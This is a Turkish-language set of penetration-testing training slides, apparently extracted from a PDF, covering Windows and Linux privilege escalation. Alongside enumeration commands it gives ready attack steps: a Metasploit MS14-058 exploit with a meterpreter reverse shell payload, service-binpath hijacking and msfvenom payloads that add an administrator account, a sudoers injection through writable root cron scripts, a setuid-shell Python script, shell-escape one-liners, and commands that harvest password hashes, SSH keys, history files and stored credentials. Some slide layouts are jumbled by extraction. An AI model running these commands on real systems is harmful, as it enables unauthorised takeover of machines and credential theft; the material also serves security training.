msf exploit(ms14_058_track_popup_menu) > set DisablePayloadHandler true
DisablePayloadHandler => true
msf exploit(ms14_058_track_popup_menu) > set LPORT 28746
LPORT => 28746
msf exploit(ms14_058_track_popup_menu) > set PAYLOAD
windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(ms14_058_track_popup_menu) > set TARGET 1
TARGET => 1
msf exploit(ms14_058_track_popup_menu) > set SESSION 3
SESSION => 3
msf exploit(ms14_058_track_popup_menu) > set ExitOnSession false
ExitOnSession => false
msf exploit(ms14_058_track_popup_menu) > exploit -j
WINDOWS YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi

Belli bir servis konfigürasyonu hakkında bilgi elde etmek için


C:\> sc query [tüm servisleri listeler, ilk sırada SERVICE_NAME bölümünde
servis adı görülür]
C:\> sc qc serviceadi
Bu servisin konfigürasyon değişiklik haklarını görmek için
C:\> sc sdshow serviceadi
Accesschk aracı ile sıradan kullanıcıların servisler üzerindeki haklarının sorgulanması
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula

Not: Bu açıklık Windows XP SP 0 ve 1'den sonra öntanımlı olarak bulunmamaktadır.


WINDOWS YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi [SALDIRI ÖRNEĞİ]
Writable servislerin tespit edilmesi halinde yapılması gereken işlem (upnphost ve ssdpsrv
servislerindeki bu açıklık Windows XP SP 0 ve 1 için geçerlidir)
sc config upnphost binpath= "net user btr1 Password1 /add"
sc stop upnphost
sc start upnphost
sc config upnphost binpath= "net localgroup Administrators btr1 /add"
sc stop upnphost
sc start upnphost
Kullanıcı ekleme işini yapan bir exe üretme
# msfvenom -p windows/adduser USER=btr1 PASS=Password1 -f exe > adduser.exe
Payload servis tarafından çalıştırıldıktan sonra
# rdesktop -u btr1 10.11.1.13
Terminal erişim imkanımız yoksa farklı bir payload'u admin olarak çalıştırmak için
C:\> runas /user:btr1\Password1 "C:\Users\BTR-
1\AppData\Local\Temp\payload.exe"
WINDOWS YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi (devamı)

Tüm servisleri listelemek ve daha sonra belli bir servisin çalıştırılabilir dosya ayarını
görmek için
C:\> sc query [tüm servisleri listeler, ilk sırada SERVICE_NAME bölümünde
servis adı görülür]
C:\> sc qc serviceadi [servis ile ilgili bilgiler sorgulanır,
BINARY_PATH_NAME bölümünde exe yolu görülür]

Bir dizin ve dosya üzerindeki erişim izinlerini görmek için


C:\> accesschk.exe -dqv "C:\Python27" /accepteula
C:\> accesschk.exe -qv filename.txt /accepteula
WINDOWS YETKİ YÜKSELTME
Sistem üzerinde çalışan proses’lerin, ağ servislerinin incelenmesi

Sistem üzerinde aktif ağ servislerinin görüntülenmesi için (local admin haklarına sahip
değilsek servisin arkasında çalışan uygulama adını göremeyiz)
C:\> netstat -anob [o – process id’sini, b – binary dosyayı gösterir]
Local admin hakkına sahip olmadığımızda ağ servislerinin arkasında çalışan binary
görüntülenmeyecektir. Bunun için process id’sinden proses uygulama adını görmek için
aşağıdaki komutu kullanabiliriz.
C:\> tasklist /fi "pid eq 1064"
Sistem üzerinde çalışan tüm proses’lerin listesi ve varsa bu proses’lerden bir Windows
servisi ile ilişkili olanlarını listelemek için
C:\> tasklist /SVC
Proses’lerin hangi kullanıcı hakları ile çalıştıklarını da incelemek için
C:\> tasklist /V
WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması

Parola barındıran dosyalar


Sonraki sorgularda zaman kaybını azaltmak için dosya listesinin oluşturulması
C:\> dir \ /a/s/b > dosyalistesi.txt
Daha sonra aşağıdaki komutlarla bu dosya içinde Administrator kullanıcı parolası
barındırma ihtimali bulunan dosya isimlerini arayabiliriz.
C:\> type dosyalistesi.txt | findstr /I unattend.xml
C:\> type dosyalistesi.txt | findstr /I unattend.txt
C:\> type dosyalistesi.txt | findstr /I sysprep.inf
C:\> type dosyalistesi.txt | findstr /I sysprep.xml
WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)

Administrator hakları ile kurulum dosyası çalıştırma yetkisi


C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması [SALDIRI ÖRNEĞİ]

Administrator hakları ile kurulum dosyası çalıştırma yetkisinin bulunması halinde


msfvenom ile bir “msi” payload'u oluşturarak local Administrators grubuna bir kullanıcı
ekleyebiliriz:
# msfvenom -p windows/adduser USER=btr1 PASS=Password1 -f msi-nouac -o
adduser.msi
C:\> msiexec /quiet /qn /i C:\Users\BTR-1\AppData\Local\Temp\adduser.msi
WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)

Öntanımlı kullanıcı adı ve parola barındıran registry kayıtları


reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v
DefaultPassword 2> nul
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v
DefaultUsername 2> nul
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v
DefaultDomainname 2> nul
Parola bulunabilecek diğer registry kayıtları
reg query HKLM\SOFTWARE\RealVNC\vncserver /v Password 2> NUL
reg query HKLM\Software\TightVNC\Server /v Password 2> NUL
WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)

Daha jenerik biçimde içinde “password” kelimesi geçen tüm registry kayıtları aşağıdaki
komutlarla araştırılabilir:
reg query HKLM /k /f password /t REG_SZ /s
reg query HKCU /k /f password /t REG_SZ /s
WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)

Tırnak ile kapatılmamış servis çalıştırılabilir dosya yolu


C:\Program Files\sub dir\program name.exe
Windows işletim sistemi bu çalıştırılabilir kodu çalıştırmak için şu sırada dosya arayacaktır:
C:\program.exe files\sub dir\program name
C:\program files\sub.exe dir\program name
C:\program files\sub dir\program.exe name
Bir dizinin erişim haklarını incelemek için:
C:\> accesschk.exe -dqv "C:\program files\sub dir " /accepteula
WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)

Dosya adı ve içerik araştırma (örnek komutlar)


C:\> type dosyalistesi.txt | findstr /I \.*ssh.*[.]ini$
C:\> type dosyalistesi.txt | findstr /I \.*ultravnc[.]ini$
C:\> type dosyalistesi.txt | findstr /I \.*vnc[.]ini$
C:\> findstr /si "password=" C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul
C:\> findstr /si "passwd=" C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul
C:\> findstr /si "pass=" C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul
C:\> findstr /si "pwd=" C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul

...
LINUX YETKİ YÜKSELTME
Kullanıcı bilgilerimiz ve yetki seviyemiz

Kullanıcı adımız, kullanıcı ve grup id'lerimiz


whoami 2>/dev/null
id 2>/dev/null
"sudoers" dosyası erişim hakları ve görebiliyorsak içeriği
ls -al /etc/sudoers 2>/dev/null
cat /etc/sudoers 2>/dev/null
Kullanıcımızın sudo hakları
sudo -l -n 2>/dev/null
Tüm kullanıcılar ve gruplar ile ilgili bilgiler
cat /etc/passwd 2>/dev/null
cat /etc/group 2>/dev/null
LINUX YETKİ YÜKSELTME
Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama
eksikliklerinin tespiti

Linux kernel, işlemci ve işletim sistemi versiyonlarını inceleme


uname -a 2>/dev/null
cat /proc/version 2>/dev/null
lscpu 2>/dev/null
cat /etc/*-release

Yetki yükseltme açıklığına sahip olabilecek uygulama ve sunucu versiyonlarını inceleme


sudo -V | grep version 2>/dev/null
mysql --version 2>/dev/null

Mount edilmiş file system'ler


mount 2>/dev/null
LINUX YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi
Cron job’ların incelenmesi
“other” tarafından yazılabilir cron scriptleri ve içerikleri
find /etc/cron* -perm -0002 -exec ls -la {} \; -exec cat {} 2>/dev/null \;
/etc/crontab dosyası içeriği
cat /etc/crontab 2>/dev/null
Varsa root ve diğer kullanıcıların crontab dosyaları listesi
ls -laR /var/spool/cron 2>/dev/null
Varsa root ve diğer kullanıcıların crontab dosyaları içerikleri
find /var/spool/cron/ -type f -exec tail -n +1 {} + 2>/dev/null
Varsa /etc/cron.d dizininde bulunan dosyaların listesi
ls -laR /etc/cron.d 2>/dev/null
...
LINUX YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi (devamı)

Setuid dosyaların incelenmesi


Sahibi “root” olan other tarafından yazılabilir “setuid” dosyalar
find / -uid 0 -perm -4002 -type f -exec ls -al {} \; 2>/dev/null
“other” tarafından yazılabilir tüm “setuid” dosyalar
find / -perm -4002 -type f -exec ls -al {} \; 2>/dev/null
Tüm “setuid” dosyalar
find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null | tee setuid-
files-enum.txt

Benzer biçimde setgid dosyalar da incelenmelidir.


LINUX YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi [SALDIRI ÖRNEĞİ]

“root” hakları ile çalışan bir cron script’ine veya setuid bit’i işaretli bir script’e müdahale
edebiliyorsak aşağıdaki satırları içine yerleştirebiliriz:
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >>
/etc/sudoers && chmod 440 /etc/sudoers' > /script.sh

Değişiklik yaptığımız script çalışıp da sudoers dosyasında yukarıda görülen değişikliği


yaptıktan sonra şu komutu çalıştırarak root hakları ile shell alabiliriz:
sudo /bin/bash
LINUX YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi [SALDIRI ÖRNEĞİ]

Aşağıda bir Python script’i ile “s” bit’i işaretli bir shell oluşturma yöntemini görebilirsiniz:
#!/usr/bin/env python
import os
import sys
try:
os.system('cp /bin/sh /tmp/sh && chmod 4777 /tmp/sh && /tmp/sh')
except:
sys.exit()

Çeşitli diller ve araçlar (bash, perl, python, php, java, netcat) kullanılarak reverse shell
alma imkanı sağlayabileceğimiz diğer yöntemler için aşağıdaki link’ten faydalanabiliriz:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
LINUX YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi (devamı)

Shell escape imkanı veren uygulamaların incelenmesi


Bazı uygulamaların içinden komut satırı komutları çalıştırmak veya bir shell almak
mümkündür. Eğer bu uygulamaları sudo ile çalıştırabilirsek veya bu uygulamaların “s”
bit’leri işaretli ise, bu uygulamaların içinden root hakları ile shell başlatabiliriz.
Bu tür uygulamaları tespit etmek için aşağıdaki komutu çalıştırabiliriz (setuid-files-
enum.txt dosyası yukarıdaki tüm “s” bitli dosyaları belirleyen komut neticesinde oluşmuş
olmalıdır)
cat setuid-files-enum.txt 2>/dev/null | grep -i -E 'vi|awk|perl|find|nmap|
man|more|less|tcpdump|bash|sh$|vim|nc$|netcat|python|ruby|lua|irb' | grep
-v -E 'chsh|device'
LINUX YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi [SALDIRI ÖRNEĞİ]
Shell escape imkanı veren komut örnekleri:
vi, vim awk
:!bash awk 'BEGIN {system("/bin/bash")}'

vi, vim nmap


:set shell=/bin/bash --interactive
:shell
nmap
man, more, less echo "os.execute('/bin/sh')" >
!bash exploit.nse
sudo nmap --script=exploit.nse
find
find / -exec /usr/bin/awk 'BEGIN perl
{system("/bin/bash")}' \; perl -e 'exec "/bin/bash";'
LINUX YETKİ YÜKSELTME
Sistem üzerinde çalışan proses’lerin, ağ servislerinin incelenmesi

Loopback arayüzünden erişilebilen TCP ve UDP ağ servislerini incelemek için (elbette yetki
yükseltebilmek için açıklık barındıran bir servisin root hakları ile çalışması gerekir)
netstat -antp
netstat -anup
“p” opsiyonu root hakkına sahipsek servisin arkasındaki proses id’si ve adını gösterecektir,
dolayısıyla sıradan bir kullanıcıysak aslında bir işe yaramayacak.

root kullanıcısı olarak calışan prosesler


ps aux | grep root
Çalışan proseslerin imajları ve bunlara erişim hakları
ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması

Parola hash’lerini ele geçirmek için shadow dosyası veya yedeklerine erişmeye çalışmak
cat /etc/shadow 2>/dev/null
grep -i -E 'shadow' dirlist-enum.txt | xargs ls -al 2>/dev/null

(Öncesinde dirlist-enum.txt dosyasının oluşturulduğu varsayılmıştır)


LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)

Home dizinleri ve içerikleri


/root/ dizini altındaki dosyalar ve erişim hakları
ls -ahlR /root/ 2>/dev/null
/home/ dizini altındaki dosyalar ve erişim hakları
ls -ahlR /home/ 2>/dev/null
Eğer home dizinleri /usr/ dizini altında ise buradaki dosyalar ve erişim hakları
ls -ahlR /usr/home/ 2>/dev/null
/home/ dizini altındaki okunabilir dosyaların listesi
find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)

History dosyaları erişim hakları ve içerikleri


ls -la /home/*/.*_history 2>/dev/null
ls -la /root/.*_history 2>/dev/null
cat ~/.*_history 2>/dev/null
cat /root/.*_history 2>/dev/null
cat /home/*/.*_history 2>/dev/null

SSH anahtar ve anahtar dizinlerinin listesi


find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name
"authorized_hosts" -o -name "authorized_keys" 2>/dev/null
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması [SALDIRI ÖRNEĞİ]

ssh servisine parola ile bağlanma


"ssh -l $user $host" veya "ssh $user@$host"

ssh servisine farklı bir port'tan bağlanma


ssh $user@$host -p $port

ssh servisine private key ile bağlanma


ssh -i /path/to/id_rsa $user@$host
ssh -i /path/to/id_dsa $user@$host
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)

Mysql erişimi(mysql root’u ile sistem root’u farklıdır)


mysqladmin -uroot -proot version
mysqladmin -uroot version

Mysql erişim bilgilerini içerebilecek konfigürasyon dosya içeriğinin incelenmesi


cat /etc/mysql/my.cnf 2>/dev/null
cat /etc/my.cnf 2>/dev/null
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması [SALDIRI ÖRNEĞİ]

MySQL UDF (User Defined Function) Fonksiyonalitesi ile Yetki Yükseltme Saldırısı

Windows örneği
http://blog.btrisk.com/2017/01/mysql-udf-fonksiyonalitesi-ile-yetki-
yukseltme.html

Linux örneği
https://www.exploit-db.com/exploits/1518/
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)

Web uygulama dizinlerı ve dosyaların listesi - ekleme yapılabilir


ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/ 2>/dev/null
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Mail içerikleri
cat /var/mail/root 2>/dev/null
cat /var/spool/mail/root 2>/dev/null
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Mount konfigürasyonu (mount edilmemiş dosya sistemleri olabilir mi?)
cat /etc/fstab
fstab içinde kullanıcı erişim bilgileri arama
cat /etc/fstab 2>/dev/null |grep username |awk
'{sub(/.*\username=/,"");sub(/\,.*/,"")}1'| xargs -r echo username:; cat
/etc/fstab 2>/dev/null |grep password |awk
'{sub(/.*\password=/,"");sub(/\,.*/,"")}1'| xargs -r echo password:; cat
/etc/fstab 2>/dev/null |grep domain |awk
'{sub(/.*\domain=/,"");sub(/\,.*/,"")}1'| xargs -r echo domain:
fstab içinde credentials dosya referansı arama
cat /etc/fstab 2>/dev/null |grep cred |awk
'{sub(/.*\credentials=/,"");sub(/\,.*/,"")}1'| xargs -I{} sh -c 'ls -la {};
cat {}'
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)

Dosya adı araştırma (örnek komutlar)


find / > dirlist-enum.txt 2>/dev/null
grep -i -E 'ini$' dirlist-enum.txt > ini-files-enum.txt
grep -i -E 'conf$|config$|cnf$' dirlist-enum.txt > conf-files-enum.txt
grep -i -E 'backup$|bck$|bak$|\.old.*$' dirlist-enum.txt > backup-files-
enum.txt
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)

Dosya içeriklerinde ilginç veriler aranması (örnek komutlar)


ini dosyaları içinde geçen password ve username satırları
cat ini-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password
=|user =|username =|pass=|passwd=|pwd=|password=|user=|username=|
mysql_connect|mysql_select_db' 2>/dev/null
conf dosyaları içinde geçen password ve username satırları
cat conf-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password
=|user =|username =|pass=|passwd=|pwd=|password=|user=|username=|
mysql_connect|mysql_select_db' 2>/dev/null

You might also like